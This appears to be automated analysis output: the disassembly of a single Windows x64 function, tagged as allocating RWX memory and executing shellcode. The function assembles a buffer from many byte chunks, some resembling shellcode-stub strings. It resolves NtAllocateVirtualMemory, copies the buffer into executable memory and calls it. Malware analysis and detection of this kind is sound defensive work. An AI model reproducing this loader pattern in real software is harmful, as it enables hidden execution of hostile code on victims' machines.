Function at 0x14001174e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x140017d00
push rbp
push rdi
sub rsp, 0x458
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xaa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140031040]
xor rax, rbp
mov qword [rbp + 0x418], rax
lea rcx, [0x1400380f3]
call fcn.14001169a
movzx eax, byte [0x14002b0a6]
mov byte [rbp + 0x10], al
lea rax, [rbp + 0x11]
mov rdi, rax
xor eax, eax
mov ecx, 0x1ff
rep stosb byte [rdi], al
mov r8d, 0xe
lea rdx, [0x14002b230]
lea rcx, [rbp + 0x10]
call fcn.140011357
lea rax, [rbp + 0x1e]
mov r8d, 0xe
lea rdx, str.RQH1
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x2c]
mov r8d, 0xe
lea rdx, [0x14002b260]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x3a]
mov r8d, 0xe
lea rdx, [0x14002b278]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x48]
mov r8d, 0xe
lea rdx, [0x14002b290]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x56]
mov r8d, 0xe
lea rdx, [0x14002b2a8]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x64]
mov r8d, 0xe
lea rdx, [0x14002b2c0]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x72]
mov r8d, 0xe
lea rdx, [0x14002b2d8]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x80]
mov r8d, 0xe
lea rdx, [0x14002b2f0]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x8e]
mov r8d, 0xe
lea rdx, [0x14002b308]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x9c]
mov r8d, 0xe
lea rdx, [0x14002b320]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0xaa]
mov r8d, 0xe
lea rdx, [0x14002b338]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0xb8]
mov r8d, 0xe
lea rdx, [0x14002b350]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0xc6]
mov r8d, 0xe
lea rdx, str.XAXYZAXAYAZH
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0xd4]
mov r8d, 0xe
lea rdx, [0x14002b380]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0xe2]
mov r8d, 0xe
lea rdx, [0x14002b398]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0xf0]
mov r8d, 0xe
lea rdx, [0x14002b3b0]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0xfe]
mov r8d, 0xe
lea rdx, [0x14002b3c8]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x10c]
mov r8d, 0xe
lea rdx, [0x14002b3e0]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x11a]
mov r8d, 0xe
lea rdx, [0x14002b3f8]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x128]
mov r8d, 0xe
lea rdx, [0x14002b410]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x136]
mov r8d, 0xe
lea rdx, [0x14002b428]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x144]
mov r8d, 0xe
lea rdx, [0x14002b440]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x152]
mov r8d, 0xe
lea rdx, [0x14002b458]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x160]
mov r8d, 0xe
lea rdx, [0x14002b470]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x16e]
mov r8d, 0xe
lea rdx, [0x14002b488]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x17c]
mov r8d, 0xe
lea rdx, [0x14002b4a0]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x18a]
mov r8d, 0xe
lea rdx, [0x14002b4b8]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x198]
mov r8d, 0xe
lea rdx, [0x14002b4d0]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x1a6]
mov r8d, 0xe
lea rdx, [0x14002b4e8]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x1b4]
mov r8d, 0xe
lea rdx, [0x14002b500]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x1c2]
mov r8d, 0xe
lea rdx, [0x14002b518]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x1d0]
mov r8d, 0xe
lea rdx, [0x14002b530]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x1de]
mov r8d, 0xe
lea rdx, [0x14002b548]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x1ec]
mov r8d, 0xe
lea rdx, [0x14002b560]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x1fa]
mov r8d, 0xe
lea rdx, [0x14002b578]
mov rcx, rax
call fcn.140011357
lea rax, [rbp + 0x208]
mov r8d, 6
lea rdx, [0x140029c10]
mov rcx, rax
call fcn.140011357
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x228], rax
mov qword [rbp + 0x248], 0
mov qword [rbp + 0x268], 0x200
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x268]
xor r8d, r8d
lea rdx, [rbp + 0x248]
mov rcx, rax
call qword [rbp + 0x228]
mov dword [rbp + 0x284], eax
mov r8d, 1
lea rdx, [0x14002b1fc]
lea rcx, [rbp + 0x10]
call fcn.140011357
mov r8d, 0x200
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x248]
call fcn.140011357
call qword [rbp + 0x248]
lea rcx, [rbp - 0x30]
lea rdx, [0x14002a9f0]
call fcn.14001158c
mov rcx, qword [rbp + 0x418]
xor rcx, rbp
call fcn.140011352
lea rsp, [rbp + 0x428]
pop rdi
pop rbp
ret